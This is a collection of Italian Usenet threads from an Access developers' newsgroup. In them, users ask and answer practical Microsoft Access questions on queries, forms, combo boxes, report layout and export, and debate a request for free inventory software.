www.donkarl.com/it
 FAQ 7.17 La creazione di un MDE non riesce
--
HTH
Karl
*********
Access FAQ:
www.donkarl.com/it


title: file mde

text:
"Lorenzo(pyx)" <
lorenzoTha...@pyx.it
> ha scritto nel messaggio
news:F0_Jg.91229$_J1.7...@twister2.libero.it...

>ok risposta esata grazie


title: Query parametrica con valore null

author: Mcesus

text:
In una query --> Criteri --> ho richiesto che il valore di ricerca venga
preso dal controllo di una maschera [forms]![maschera]![nome] che si
collega ad una tabella con un elenco a discesa.
Se però lascio il controllo vuoto la query mi restituisce errore..
Quali sono i parametri da passare nel caso io voglia che la query
restituisca "TUTTO" nel caso io lasci vuoto sto controllo ?
--
questo articolo e` stato inviato via web dal servizio gratuito
http://www.newsland.it/news
 segnala gli abusi ad
ab...@newsland.it


title: Query parametrica con valore null

text:
Mcesus wrote:
> In una query --> Criteri --> ho richiesto che il valore di ricerca
> venga preso dal controllo di una maschera [forms]![maschera]![nome]
> che si collega ad una tabella con un elenco a discesa.
>
> Se però lascio il controllo vuoto la query mi restituisce errore..
>
> Quali sono i parametri da passare nel caso io voglia che la query
> restituisca "TUTTO" nel caso io lasci vuoto sto controllo ?
www.donkarl.com/it
 FAQ 3.14 Criterio che restituirà tutti i record
Se ricevi ancora un errore devi rivelare la stringa SQL della query
e il tipo di dati del campo dove usi il criterio.
--
HTH
Karl
*********
Access FAQ:
www.donkarl.com/it
 + CISA2
Conferenza Italiana per Sviluppatori di Access, Ancona, 22+23/4/2006


title: Visualizzare sullo stesso record i nomi con i dati identici

author: giancarlo

text:
Salve a tutti. In A97:
nella tabella T1 i dati si presentano in questo modo:
Nome     datiA     datiB
......
Nome1   datoA1 datoB22
Nome2   datoA1 datoB22
Nome3   datoA7 datoB12
Nome4   datoA7 datoB12
....
In pratica, in qualche caso, ci sono dei nomi che utilizzano gli stessi dati
di altri. Devo evidenziarli affiancando sullo stesso record il primo nome ed
il secondo che utilizza gli stessi dati.
Dovrei ottenere una cosa del genere:
Nome1 | datoA1 | datoB22 | Nome2
Nome3 | datoA7 | datoB12 | Nome4
Potete suggerirmi qualcosa?
Grazie a tutti in anticipo.
Giancarlo
--
GIGAMAIL By X-Privat -
http://www.x-privat.org/gigamail.php


title: Prmi valori

author: Mike Dens

text:
Ciao di nuovo!!! :-)
Dunque ho una tabella contenente record che all'interno della stessa
possono essere anche duplicati.
Io desideravo poter creare un filtro, tramite query che mi permetta di
visualizzare singoli record ma con tutte le informazioni legate allo
stesso.Mi spiego due record possono essere duplicati nel senso che hanno
un cod_id uguale ma altre info, come per esempio il livello di scolarità
diverso....se io raggruppo i record la query non viene eseguita perchè
ovviamente pur avendo i record 2 cod_id uguali hanno il livello
scolarità diverso!!
come potrei risolvere il problema??
grazie e ciao
mike
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: Prmi valori

author: Sergio MAZZA

text:
"Mike Dens" <
ra...@tiscalinet.it
> ha scritto nel messaggio
news:1ab075a60eb08eda99...@mygate.mailgate.org...

Con due passaggi; uno mi raggruppa i cod_id e l'altro associa cod_id alle
altre info...
Ciao.
--
Sergio MAZZA


title: aggiorna campo record specifico

author: massimo

text:
ciao a tutti
scusatemi ma non riesco ad andare avanti con il mio problema relativo alla
registrazione dei movimenti contabili.
mi sono creato una maschera movimenti contabili con origine dati
(querymovimenti) con una sottomaschera dettaglimovimenti con origine dati
(querydettaglimovimenti).
le suddette query vencono alimentate da diverse tabelle.
Nella sottomaschera dettagli mi ritrovo un campo DARE ed uno AVERE dove
inserisco l'importo relativo al movimento
es: iddettaglio 1 = cliente Tizio con importo in dare di L. 100
     iddettaglio 2 =cassa con importo in Avere L.100
fin qui tutto va bene.
Il problema che non riesco a risolvere è il seguente:
es: iddettaglio 1= Cliente Tizio con importo in dare L. 120
     iddettaglio 2= imponibile Vendite in avere L. 100
     iddettaglio 3= iva vendite in avere L. 20 (che dovrebbe essere
calcolata sull'imponibile dell'iddettaglio 2)
spero di essere stato chiaro .....
vi prego aiutatemi


title: aggiorna campo record specifico

author: Roberto Pasqualini

text:
"massimo" <
mas...@inwind.it
> ha scritto nel messaggio
news:3bgx8.942$W9.1...@twister2.libero.it...

Per poterti aiutare a risolvere il tuo problema è necessario sapere qualcosa
di più sulla tua applicazione, per esempio:
1)   Come vengono generati i movimenti di contropartita ? In automatico
oppure vengono fatte due registrazioni manuali ?
2)  Come fai per tenere legati i dettagli di un singolo movimento tra di
loro ? Usi un numero di registrazione comune ?
Comunque credo tu debba prevedere la possibilità di inserire anche il codice
IVA o perlomeno il fatto che il moviemento sia assoggettato ad IVA,
a quel punto si può ragionare meglio su come generare il dettaglio relativo
all'importo.
Sai hai bisogno fammi sapere.
Roberto


title: aggiorna campo record specifico

text:
"Roberto Pasqualini" <
rpasq...@sidesoft.it
> ha scritto nel messaggio
news:Fewx8.18127$8D3.5...@news1.tin.it...

> Ciao Roberto e grazie per avermi risposto.....
Cerco di essere il più chiaro possibile......
1) i movimenti di contropartita vengono inseriti sui dettagli, e in base al
tipo di riga mi filtro una query in una combo in modo di avere solamente i
clienti se inserisco la riga del dare cliente o solamente il piano dei conti
per inserire altre contropartite in avere e così via.
2) le righe dei dettagli movimenti li tengo unite tramite un numero di
registrazione con relativa data che inserisco nella maschera principale.
per quanto riguarda il campo I.V.A. è presente nei dettagli...
ti rappresento la sottomaschera di inserimento....
tbl dettagli movimenti
1 campo) ID Dettagli
2 campo) ID Movimento
2 campo) IDGruppo
3 campo) IDConto
4 campo) IDSottoconto
5 campo) Descrizione
6 campo) Cod I.V.A.
7 campo) Dare
8 campo) Avere
in questo modo volevo inserire la prima righa relativa al cliente in dare,
una riga relativa all'imponibile, e una riga che mi calcola l'importo iva in
base all'imponibile.
A dirti il vero sono riuscito a risolvere il problema creandomi altri due
campi dare1 e dare2 nella tabella dettagli movimenti dove inserisco tramite
dlookup il valore di dare o di avere del record precedente per poi ricavarmi
l'imposta iva nel record attivo....
Il tutto non sarebbe tanto male....... ma il problema è che se voglio
variare l'importo dare del record attivo non mi si aggiorna l'importo dare1
del record successivo che a sua volta mi servirà per calcolarmi
l'imposta........
Forse troppo complesso vero? o no?
Cmq te ne sarò grato se riesci a risolvermi il problema.
ciao Massimo
>


title: Casella Combinata Bloccata

author: Giuseppe

text:
Ciao a tutti
Purtroppo mi stà passando l'ora del coglione ,
Ho una casella combinata che filtra un'altra casella combinata,
solo che dopo il primo imput per filtrare la seconda casella combinata
si blocca , nel senso che non riesco più a selezionare  nessun altro valore
.
Altre volte mi è capitato e l'ho risolto ,
ora proprio no
Un aiuto Grazie
Giuseppe


title: Casella Combinata Bloccata

text:
"Giuseppe" <
amrma...@tin.it
> ha scritto nel messaggio
news:0AoLd.475288$b5.22...@news3.tin.it...

...non so se potrà salvarti, ma questo codice:
Private Sub Combo1_GotFocus()
    SendKeys "%{Down}"
End Sub
fa si che quando la combo box prende il Focus, questa si apra
automaticamente ... tentar non nuoce ...
--
strano...mavero
mail: mauro . chiarello @ gmail . com
ICQ: 292-118-822
BLOG:
www.blogico.org
Se vuoi mettere al sicuro i tuoi dati, caricali su un server ed aspetta che
qualcuno ne faccia un mirror
Linus Torvalds


title: Access 2003 può far cadere la rete?

text:
Ciao a tutti. Ho fatto un programma per la gestione del magazzino.
Funziona benissimo. Ho messo il BE nel server e un FE in un pc in
rete. Tutto ok. Ogni tanto succedeva però che cadeva la rete così
bisognava entrare nel BE e fare Compatta e Ripristina. Allora ho
consigliato all'utente di mettere sotto gruppo di continuità la rete.
L'ha fatto ieri. Stamattina, un disastro. La rete cade in
continuazione creando non pochi problemi. Arrivano messaggi tipo
"scrittura rimandata non riuscita...". Oggi però c'è stato anche
qualcosa di nuovo. L'antivirus sul server dava messaggi tipo
"Tentativo di intrusione..." e poi cadeva la rete. Sul server gira Win
XP e come antivirus c'è Panda mentre sul pc in rete c'è sempre Win XP
ma come antivirus c'è Avast. Adesso l'utente ha provato a togliere il
firewall di Panda e a mettere il firewall di windows. Sembra che fino
ad ora funzioni. Io chiedo: può dipendere da questo? Oppure può
dipendere anche da Access che per qualche misterioso motivo riesce a
perdere la connessione con il server?
Grazie
Ciao
Stefano


title: Access 2003 può far cadere la rete?

author: MA

text:

meno male che i Panda si stanno estinguendo!!!
Access non c'entra nulla, subisce il problema non lo provoca
--
--
MAssimiliano Amendola
www.accessgroup.it
Cisa - Conferenza Italiana Sviluppatori Access


title: Access 2003 può far cadere la rete?

text:
<
rquat...@gmail.com
> ha scritto nel messaggio
news:7b6d4173-a9f7-48af...@s20g2000yqh.googlegroups.com...

-----------------------------
ciao,
se continua a darti il messaggio di scrittura non riuscita, dipende dall'hub
su cui è collegata la rete...
prova a mettere un gruppo di continuità  per alimentarlo e vedi che il
problema lo risolvi....
Nicola


title: cercasi programmatore access 20000 VBA ed ASP

author: ibl

text:
Ciao a tutti
gestisco uno studio di consulenza aziendale e cerco un programatore access
2000 per implementare un data base utilizzato per gestire le anagrafiche ed
i clienti del mio ufficio di marketing.
si  tratta di piccoli lavori di implementazione e sistemazione,
la consulenza può essere svolta anche a distanza a mezzo telefono con invio
dei file via internet
la retribuzione può essere oraria o per singoli lavori di implementazione.
si garantisce e si richiede la massima serieta'
saluti a presto,
darò notizia sulle news della conclusione delle ricerche
saluti claudio calastri
c...@libero.it
081-7702907
347 8657230


author: Luciano (DOC)

text:
"ibl" <
c...@libero.it
> ha scritto nel messaggio
news:acvq0t$5kl$1...@fe1.cs.interbusiness.it...
> la retribuzione può essere oraria o per singoli lavori di implementazione.
> si garantisce e si richiede la massima serieta'
Quali sono i parametri retributivi su base oraria?
Saluti.
Luciano


author: Alessandro

text:
"Luciano \(DOC\)" <
lucia...@sitocomune.com
> wrote in message
news:acvq9i$t038f$
1...@ID-86073.news.dfncis.de

Certo che ACCESS galoppa, non sapevo della versione 20000....!
Alessandro.@Alex
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


author: massimiliano

text:
>Certo che ACCESS galoppa, non sapevo della versione 20000....!
disinformato......
ciao MAssimiliano
--------------------------------
Inviato via
http://usenet.iol.it


title: Esportare un Report a run-time

author: IppoSoft

text:
Buongiorno,
come da oggetto, vorrei esportare un record (di una sola pagina) in
formato RTF (l'ideale sarebbe PDF ma mi acontento) e salvare
direttamente il file in una directory specificata, modificabile a
piacere.
Esiste il comando DoCmd.RunCommand (acCmdOutputToRTF) ma non mi pare
faccia al caso mio e d'altra parte non so nenche a quale evento del
report associarlo (Open, Close, Activate e Deactivate non mi
funzionano).
Qualcuno sa come fare?
Grazie
Filippo


title: Esportare un Report a run-time

text:

Se vuoi il pdf ci sono diverse routine che lo fanno
Lebans.com e
sitocomune.com
In rtf invece anche una semplice macro lo fa: in ogni caso a te serve
docmd.Outputto così specifichi anche gli argomenti
come dove ed in che formato
--
--
Massimiliano Amendola
www.accessgroup.it
Il sito italiano di svilupatori Access
www.donkarl.com/it/cisa


title: Esportare un Report a run-time

author: Roberto dal portatile

text:
"IppoSoft" <
f....@panservice.it
> ha scritto nel messaggio
news:8ijll2979badgod2j...@4ax.com...

Invece del metodo RunCommand prova ad usare il Metodo OutputTo (vedi help)
Se poi vuoi esportare un report in formato PDF, vai sul Sito Comune (link
qui sotto) e nella Sezione Reports leggi la FAQ di Walter Negrinelli
intitolata "4.21 Esportare un report in un file PDF".
> Grazie
Prego
> Filippo
--
Roberto
-----------------------------------------------
il Sito Comune di it.comp.appl.access
http://www.sitocomune.com
-----------------------------------------------


title: Casella di testo espandibile in report sovrascrive le altre caselle

author: Antonio Biso

text:
In un report ho messo una casella di testo con proprietà espandibile a true.
Sotto questa casella ne ho messe altre.
Se il testo contenuto nella prima casella sfora la dimensione orizzontale e
va a capo, invece di shiftare in basso tutto il resto, mi sovrascrive il
contenuto delle caselle sottostanti.
Più sotto ne ho un'altra di casella con la stessa esigenza e lì invece
funziona regolarmente.
C'è qualcosa che mi sfugge, probabilmente banale.
Idee?
Antonio
--
--
A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?
A: Top-posting.
Q: What is the most annoying thing on usenet and in e-mail?


text:
Antonio Biso wrote:
> In un report ho messo una casella di testo con proprietà espandibile
> a true. Sotto questa casella ne ho messe altre.
> Se il testo contenuto nella prima casella sfora la dimensione
> orizzontale e va a capo, invece di shiftare in basso tutto il resto,
> mi sovrascrive il contenuto delle caselle sottostanti.
> Più sotto ne ho un'altra di casella con la stessa esigenza e lì invece
> funziona regolarmente.
> C'è qualcosa che mi sfugge, probabilmente banale.
>
> Idee?
>
> Antonio
>
Tra le due caselle ci deve essere un pò di spazio, anche pochissimo, Se i
bordi si sovrappongono succede quello che dici.
> --
--
_ _
Ciao
MAssimiliano Amendola
Cisa1 - I° Conferenza Italiana per Sviluppatori Access Arezzo 4+5
Giugno 2005 Sono aperte le iscrizioni  Info:
www.donkarl.com/it


text:
"MA" <
mas...@massimilianoamendola.it
> ha scritto nel messaggio
news:E0_fe.8452$TR5....@news.edisontel.com...
> Antonio Biso wrote:
> > In un report ho messo una casella di testo con proprietà espandibile
> > a true. Sotto questa casella ne ho messe altre.
> > Se il testo contenuto nella prima casella sfora la dimensione
> > orizzontale e va a capo, invece di shiftare in basso tutto il resto,
> > mi sovrascrive il contenuto delle caselle sottostanti.
> > Più sotto ne ho un'altra di casella con la stessa esigenza e lì invece
> > funziona regolarmente.
> > C'è qualcosa che mi sfugge, probabilmente banale.
> >
> > Idee?
> >
> > Antonio
> >
>
> Tra le due caselle ci deve essere un pò di spazio, anche pochissimo, Se i
> bordi si sovrappongono succede quello che dici.
Eh, già...
Ah, la vecchiaia...
Dev'essere che penso troppo allo scudetto che stiamo per vincere...
Antonio


text:

O alla coppa???
>
> Antonio



text:
Antonio Biso wrote:
> "MA" <
mas...@massimilianoamendola.it
> ha scritto nel messaggio
> news:o4%fe.8470$TR5...@news.edisontel.com...
>> Antonio Biso wrote:
>>> "MA" <
mas...@massimilianoamendola.it
> ha scritto nel messaggio
>>> news:E0_fe.8452$TR5....@news.edisontel.com...
>>>> Antonio Biso wrote:
>>>>> In un report ho messo una casella di testo con proprietà
>>>>> espandibile a true. Sotto questa casella ne ho messe altre.
>>>>> Se il testo contenuto nella prima casella sfora la dimensione
>>>>> orizzontale e va a capo, invece di shiftare in basso tutto il
>>>>> resto, mi sovrascrive il contenuto delle caselle sottostanti.
>>>>> Più sotto ne ho un'altra di casella con la stessa esigenza e lì
>>>>> invece funziona regolarmente.
>>>>> C'è qualcosa che mi sfugge, probabilmente banale.
>>>>>
>>>>> Idee?
>>>>>
>>>>> Antonio
>>>>>
>>>>
>>>> Tra le due caselle ci deve essere un pò di spazio, anche
>>>> pochissimo, Se i bordi si sovrappongono succede quello che dici.
>>>
>>> Eh, già...
>>>
>>> Ah, la vecchiaia...
>>> Dev'essere che penso troppo allo scudetto che stiamo per vincere...
>>
>> O alla coppa???
>
> Preferisco la soppressata
O meglio ancora il guanciale, così la assoaggiamo questa famosa amatriciana
;-)



text:
"MA" <
mas...@massimilianoamendola.it
> ha scritto nel messaggio
news:o4%fe.8470$TR5...@news.edisontel.com...
> Antonio Biso wrote:
> > "MA" <
mas...@massimilianoamendola.it
> ha scritto nel messaggio
> > news:E0_fe.8452$TR5....@news.edisontel.com...
> >> Antonio Biso wrote:
> >>> In un report ho messo una casella di testo con proprietà espandibile
> >>> a true. Sotto questa casella ne ho messe altre.
> >>> Se il testo contenuto nella prima casella sfora la dimensione
> >>> orizzontale e va a capo, invece di shiftare in basso tutto il resto,
> >>> mi sovrascrive il contenuto delle caselle sottostanti.
> >>> Più sotto ne ho un'altra di casella con la stessa esigenza e lì
> >>> invece funziona regolarmente.
> >>> C'è qualcosa che mi sfugge, probabilmente banale.
> >>>
> >>> Idee?
> >>>
> >>> Antonio
> >>>
> >>
> >> Tra le due caselle ci deve essere un pò di spazio, anche pochissimo,
> >> Se i bordi si sovrappongono succede quello che dici.
> >
> > Eh, già...
> >
> > Ah, la vecchiaia...
> > Dev'essere che penso troppo allo scudetto che stiamo per vincere...
>
> O alla coppa???
Preferisco la soppressata
Antonio


author: Bruno Campanini

text:
"MA" <
mas...@massimilianoamendola.it
> wrote in message
news:E0_fe.8452$TR5....@news.edisontel.com...
> Antonio Biso wrote:
>> In un report ho messo una casella di testo con proprietà espandibile
>> a true. Sotto questa casella ne ho messe altre.
>> Se il testo contenuto nella prima casella sfora la dimensione
>> orizzontale e va a capo, invece di shiftare in basso tutto il resto,
>> mi sovrascrive il contenuto delle caselle sottostanti.
>> Più sotto ne ho un'altra di casella con la stessa esigenza e lì invece
>> funziona regolarmente.
>> C'è qualcosa che mi sfugge, probabilmente banale.
>>
>> Idee?
>>
>> Antonio
>>
>
> Tra le due caselle ci deve essere un pò di spazio, anche pochissimo, Se i
> bordi si sovrappongono succede quello che dici.
Può esservi spazio zero (bordi coincidenti ma non sovrapponentisi).
Usate la versione US con la quale si evidenzia la griglia e così
diventa difficile fare sovrapposizioni!
Bruno


title: piccolissimo gestionale open source

author: jant

text:
Salve,
qualcuno ha un piccolo gestionale in access. Mi servirebbero solo
- Anagrafica Fornitori
- Magazzino con relativo carico e scarico
- Stampa bar-code con relativa gestione via lettore ottico
Siete a conoscenza di un open source?
Saluti


title: piccolissimo gestionale open source

text:
"jant" <
x.x...@libero.it
> ha scritto nel messaggio
news:AkxI8.17554$ie.4...@twister2.libero.it...
> - Anagrafica Fornitori
> - Magazzino con relativo carico e scarico
> - Stampa bar-code con relativa gestione via lettore ottico
>
> Siete a conoscenza di un open source?
Tu vendi prodotti open source?
Saluti.
Luciano


title: piccolissimo gestionale open source

author: AnTor

text:
Luciano (DOC) <
lucia...@sitocomune.com
> wrote in message
acvp13$stuad$1...@ID-86073.news.dfncis.de...
>
> "jant" <
x.x...@libero.it
> ha scritto nel messaggio
> Tu vendi prodotti open source?
> Saluti.
>
> Luciano
Non so se lui venda o meno, ma se hai notizie, avrei bisogno di un programma
simile per studio.
Grazie
AnTor


title: piccolissimo gestionale open source

text:
"AnTor" <eccfto[LEVA]@
tin.it
> ha scritto nel messaggio
news:acvvha$6ve$1...@e3k.asi.ansaldo.it...
> Non so se lui venda o meno, ma se hai notizie, avrei bisogno di un
programma
> simile per studio.
Certamente! Non appena tu fornirai servizi gratis dal tuo studio....
Saluti.
Luciano


title: piccolissimo gestionale open source

text:
Luciano (DOC) <
lucia...@sitocomune.com
> wrote in message
ad02bn$teuh0$1...@ID-86073.news.dfncis.de...

... ti ringrazio per l'augurio, ma non ho uno studio ne vendo SW .
Sono un dipendente di un azienda metalmeccanica che deve svilupparsi un
piccolo DB per la gestione
di rapportini tecnici di intervento.
Ho trovato già ottime info sugli esempi di MSaccess.
Forse sono stato poco chiaro dicendo "per studio", intendevo per studiarlo.
Grazie cmq
AnTor


title: piccolissimo gestionale open source

text:
> > > Non so se lui venda o meno, ma se hai notizie, avrei bisogno di un
> > programma
> > > simile per studio.
> >
> > Certamente! Non appena tu fornirai servizi gratis dal tuo studio....
> > Saluti.
>[CUT]
> Forse sono stato poco chiaro dicendo "per studio", intendevo per studiarlo.
> Grazie cmq
> AnTor
AUTOGOOOOOOOOOOOL.
Intendevi quindi che ti serve per COPIARE......!! A GRATIS....!
Ma è una mia impressione o ultimamente le richieste di cessioni
GRATUITE alla FATEBENEFRATELLI stanno dilagando......!!!!
MAH...............................
Alessandro./@Alex
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: piccolissimo gestionale open source

author: Nicola Dainoli

text:
"jant" <
x.x...@libero.it
> ha scritto nel messaggio
news:AkxI8.17554$ie.4...@twister2.libero.it...

Se leggi il post di Giove del 26/05 potrebbe fare al caso tuo!
Ciao, Nicola.


title: piccolissimo gestionale open source

text:
> AUTOGOOOOOOOOOOOL.
> Intendevi quindi che ti serve per COPIARE......!! A GRATIS....!
>
> Ma è una mia impressione o ultimamente le richieste di cessioni
> GRATUITE alla FATEBENEFRATELLI stanno dilagando......!!!!
>
>
> MAH...............................
>
> Alessandro./@Alex
mi fa piacere aver causato il tuo entusiasmo..
se avessi voluto copiare avrei potuto copiare i 1000 esempi da ms access.
Mi interessava conoscere tecniche diverse di programmazione.
Vedi per me programmare equivale a pensare.. mentre l'espressione del
pensiero (codifica) dipende dall'idioma utilizzato.
Credi che davvero ci sia bisogno di copiare 4 select legate ad una dialog
area ?
o, come in un non lontano passato , chi sviluppa SW sia visto dal resto del
mondo come un geniaccio al di sopra della media ?
..
spero per te di non prendere atto molto presto della triste realta...
Cordiali saluti
AnTor.


title: piccolissimo gestionale open source

text:
>mi fa piacere aver causato il tuo entusiasmo..
>se avessi voluto copiare
avrei potuto copiare i 1000 esempi da ms access.
>Mi interessava conoscere
tecniche diverse di programmazione.
>Vedi per me programmare equivale a
pensare.. mentre l'espressione del
>pensiero (codifica) dipende
dall'idioma utilizzato.
>Credi che davvero ci sia bisogno di copiare 4
select legate ad una dialog
>area ?
>o, come in un non lontano passato ,
chi sviluppa SW sia visto dal resto
>del
>mondo come un geniaccio al di
sopra della media ?
>..
>spero per te di non prendere atto molto presto
della triste realta...
>Cordiali saluti
>AnTor.
Aldilà di tutta la
polemica scaturita credo che se invece chiedi scambi di vedute (fianco
codice) ben mirate, a poco a poco il gestionale che ti serve verrà fuori.
Da dove vuoi partire?
Chiedi "bene" e ti sarà dato (in questo ng ci sono
persone disponibili da cui ho attinto molto)
a disposizione x quanto
corcerne le mie conoscenze e sperienze.
ciao MAssimiliano
--------------------------------
Inviato via
http://usenet.iol.it


title: piccolissimo gestionale open source

author: Sib

text:
"AnTor" <eccfto[LEVA]@
tin.it
> ha scritto nel messaggio
> > AUTOGOOOOOOOOOOOL.
> > Intendevi quindi che ti serve per COPIARE......!! A GRATIS....!
> >
> > Ma è una mia impressione o ultimamente le richieste di cessioni
> > GRATUITE alla FATEBENEFRATELLI stanno dilagando......!!!!
cut
> se avessi voluto copiare avrei potuto copiare i 1000 esempi da ms access.
> Mi interessava conoscere tecniche diverse di programmazione.
> Vedi per me programmare equivale a pensare.. mentre l'espressione del
> pensiero (codifica) dipende dall'idioma utilizzato.
> Credi che davvero ci sia bisogno di copiare 4 select legate ad una dialog
> area ?
Se non e' cosi' a cosa ti servono gli esempi?
> o, come in un non lontano passato , chi sviluppa SW sia visto dal resto
del
> mondo come un geniaccio al di sopra della media ?
Questo, te lo garantisco, e' cosi' di fatto. Chi scopiazza a destra e a
sinistra in modo sterile otterra' accozzaglie di codice, non programmi (ben
lungi da me l'idea di supporre che tu scopiazzi, lo dico solo per sostenere
la mia opinione)
> spero per te di non prendere atto molto presto della triste realta...
Quale triste realta'?
Che molti scopiazzano?
Tranquillo, hanno un futuro limitato con la velocita' di evoluzione del SW e
delle esigenze del cliente.
Sib
--
qualita.assicurazione su
www.cerrinet.it
Il newsgroup sulla Qualita'


title: piccolissimo gestionale open source

text:
>
> Aldilà di tutta la
> polemica scaturita credo che se invece chiedi scambi di vedute (fianco
> codice) ben mirate, a poco a poco il gestionale che ti serve verrà fuori.
> Da dove vuoi partire?
>
> Chiedi "bene" e ti sarà dato (in questo ng ci sono
> persone disponibili da cui ho attinto molto)
>
> a disposizione x quanto
> corcerne le mie conoscenze e sperienze.
>
> ciao MAssimiliano
>
mi spiace, e ti chiedo scusa, essere sceso in polemica.
Ho esperienza di programmazione in assembler, C , C++ , clipper.
Ho realizzato il DB di cui accennavo nelle precedenti mail , in clipper ,
utilizzando un interfaccia a caratteri, mostrando dei menu navigabile (menu
to item etc.)
Non conosco access, ma mi sembra di capire che l'approccio utilizzato per lo
sviluppo di programmi di gestione magazzini utilizzi, piu' che access il VB
con connessione a DB differenti.
Mi interessava capire un po' di piu' delle modalità di utilizzo del DB
attraverso lo SQL .
Per questo gradivo un piccolo, banale, programmino per studiarne
l'approccio, sia in termini di interfaccia utente che
di interfaccia verso il db vero e proprio.
AnTor


title: piccolissimo gestionale open source

text:
"AnTor" <eccfto[LEVA]@
tin.it
> ha scritto nel messaggio
cut
> Ho esperienza di programmazione in assembler, C , C++ , clipper.
> Ho realizzato il DB di cui accennavo nelle precedenti mail , in clipper ,
> utilizzando un interfaccia a caratteri, mostrando dei menu navigabile
(menu
> to item etc.)
> Non conosco access, ma mi sembra di capire che l'approccio utilizzato per
lo
> sviluppo di programmi di gestione magazzini utilizzi, piu' che access il
VB
> con connessione a DB differenti.
> Mi interessava capire un po' di piu' delle modalitą di utilizzo del DB
> attraverso lo SQL .
> Per questo gradivo un piccolo, banale, programmino per studiarne
> l'approccio, sia in termini di interfaccia utente che
> di interfaccia verso il db vero e proprio.
Se e' per questo Access e' fornito con diversi esempi in tal senso.
(soluzioni.mdb, Northwind.mdb, Ordini.mdb)
da questi puoi trarre moltissimi spunti, sia di interfaccia che di codice.
Sib


title: piccolissimo gestionale open source

text:
>
> Se e' per questo Access e' fornito con diversi esempi in tal senso.
> (soluzioni.mdb, Northwind.mdb, Ordini.mdb)
> da questi puoi trarre moltissimi spunti, sia di interfaccia che di codice.
>
> Sib
>
Grazie Sib
Antor
>


title: piccolissimo gestionale open source

text:
> Quale triste realta'?
La triste realtà e' che gli scopiazzatori stanno rovinando il mercato per la
categoria.
> Che molti scopiazzano?
> Tranquillo, hanno un futuro limitato con la velocita' di evoluzione del SW
e
> delle esigenze del cliente.
Il problema e' che il cliente e' esigente circa le funzionalità del
programma, ma non ha mezzi per giudicarne la qualità.
Tien iconto che seon ofermamente avverso ai cultori del "cut&paste".
Il mio interesse e' capire come funzionano le cose (mi deriva dall'aver
programmato in assembler).



title: piccolissimo gestionale open source

author: Giove Cattaneo

text:
"jant" <
x.x...@libero.it
> wrote in message
news:AkxI8.17554$
ie.4...@twister2.libero.it

ecco quello che ti serve, alla faccia di quelli che fanno tanto i
difficili
http://studiofree.interfree.it/index.html



title: piccolissimo gestionale open source

author: Sergio MAZZA

text:
"Giove Cattaneo" <
gio...@hotmail.com
> ha scritto nel messaggio
news:8c91a1b4c525d4ccc02...@mygate.mailgate.org...
> > Saluti
> ecco quello che ti serve, alla faccia di quelli che fanno tanto i
> difficili
>
>
http://studiofree.interfree.it/index.html
>
>
50 sacchi dal giornalaio erano troppi vero?
Ciao.
--
Sergio MAZZA


title: piccolissimo gestionale open source

text:
"Giove Cattaneo" <
gio...@hotmail.com
> wrote in message
news:8c91a1b4c525d4ccc02...@mygate.mailgate.org
> "jant" <
x.x...@libero.it
> wrote in message
> news:AkxI8.17554$
ie.4...@twister2.libero.it
>
> > Salve,
> > qualcuno ha un piccolo gestionale in access. Mi servirebbero solo
> > Siete a conoscenza di un open source?
> >
> > Saluti
> ecco quello che ti serve, alla faccia di quelli che fanno tanto i
> difficili
>
>
http://studiofree.interfree.it/index.html
I casi sono 3:
1)Non hai letto bene la richiesta perchè intendeva OPEN-SOURCE e la
versione
  MDE non è tale........!
2)Non sai la differenza tra MDE e OPEN_SOURCE, beh.....!!!
3).......!!! Sono gentile............!Alla faccia di quelli che.
Alessandro.



title: piccolissimo gestionale open source

author: Claudio(BS)

text:
"Alessandro" <
ik2...@libero.it
> ha scritto nel messaggio
news:ddfbd47357661e4dc2...@mygate.mailgate.org...
> "Giove Cattaneo" <
gio...@hotmail.com
> wrote in message
>
news:8c91a1b4c525d4ccc02...@mygate.mailgate.org
>
> > "jant" <
x.x...@libero.it
> wrote in message
> > news:AkxI8.17554$
ie.4...@twister2.libero.it
> >
> > > Salve,
> > > qualcuno ha un piccolo gestionale in access. Mi servirebbero solo
>
Vabbè che è completamente OT, ma se fosse anche solo per dare una
sbirciatina,
http://www.mosaicostore.it/it/mosaico.htm
OVVIAMENTE è a solo titolo informativo e spero con questo di non essere
fustigato troppo,
hai hai hai mi fa già male la schiena  ;-))
--
Claudio(BS)
per l'indirizzo di posta visita:
http://web.tiscali.it/claudio0


title: piccolissimo gestionale open source

author: Claudio

text:
"Giove Cattaneo" <
gio...@hotmail.com
> ha scritto nel messaggio
news:8c91a1b4c525d4ccc02...@mygate.mailgate.org...
> "jant" <
x.x...@libero.it
> wrote in message
> news:AkxI8.17554$
ie.4...@twister2.libero.it
>
> > Salve,
> > qualcuno ha un piccolo gestionale in access. Mi servirebbero solo
> >
> > - Anagrafica Fornitori
> > - Magazzino con relativo carico e scarico
> > - Stampa bar-code con relativa gestione via lettore ottico
> >
> > Siete a conoscenza di un open source?
> >
> > Saluti
> ecco quello che ti serve, alla faccia di quelli che fanno tanto i
> difficili
>
>
http://studiofree.interfree.it/index.html
>
Poiché l'URL è cambiato, perché non lo posti aggiornato?
Complimenti per l'iniziativa
ciao
Claudio


title: piccolissimo gestionale open source

text:
"Claudio" <
SPAM&VIRUS_NO...@mclink.it
> ha scritto nel messaggio
news:adiug8$2vin$2...@newsreader1.mclink.it...
>
> "Giove Cattaneo" <
gio...@hotmail.com
> ha scritto nel messaggio
> news:8c91a1b4c525d4ccc02...@mygate.mailgate.org...
> > "jant" <
x.x...@libero.it
> wrote in message
> > news:AkxI8.17554$
ie.4...@twister2.libero.it
> >
> Poiché l'URL è cambiato, perché non lo posti aggiornato?
> Complimenti per l'iniziativa
http://space.tin.it/computer/glanzare/gestionale/


title: Proprietà ListIndex

author: Gianni

text:
Saluti a tutto il NG
Come impostare da codice la proprietà ListIndex
in maniera tale che in una casella combinata la voce selezionata
sia sempre la prima indipendentemente dall'ordinamento scelto ?
Cordiali saluti


title: Proprietà ListIndex

text:
"Gianni" <gli...@NOSPAMtiscalinet.it> wrote in message
news:o1RgPNWR+DHXJmKsGbtxB6X=qf...@4ax.com...
> Saluti a tutto il NG
>
> Come impostare da codice la proprietą ListIndex
> in maniera tale che in una casella combinata la voce selezionata
> sia sempre la prima indipendentemente dall'ordinamento scelto ?
>
> Cordiali saluti
Forse non sai che c'č l'HELP:
La proprietą č di sola lettura.
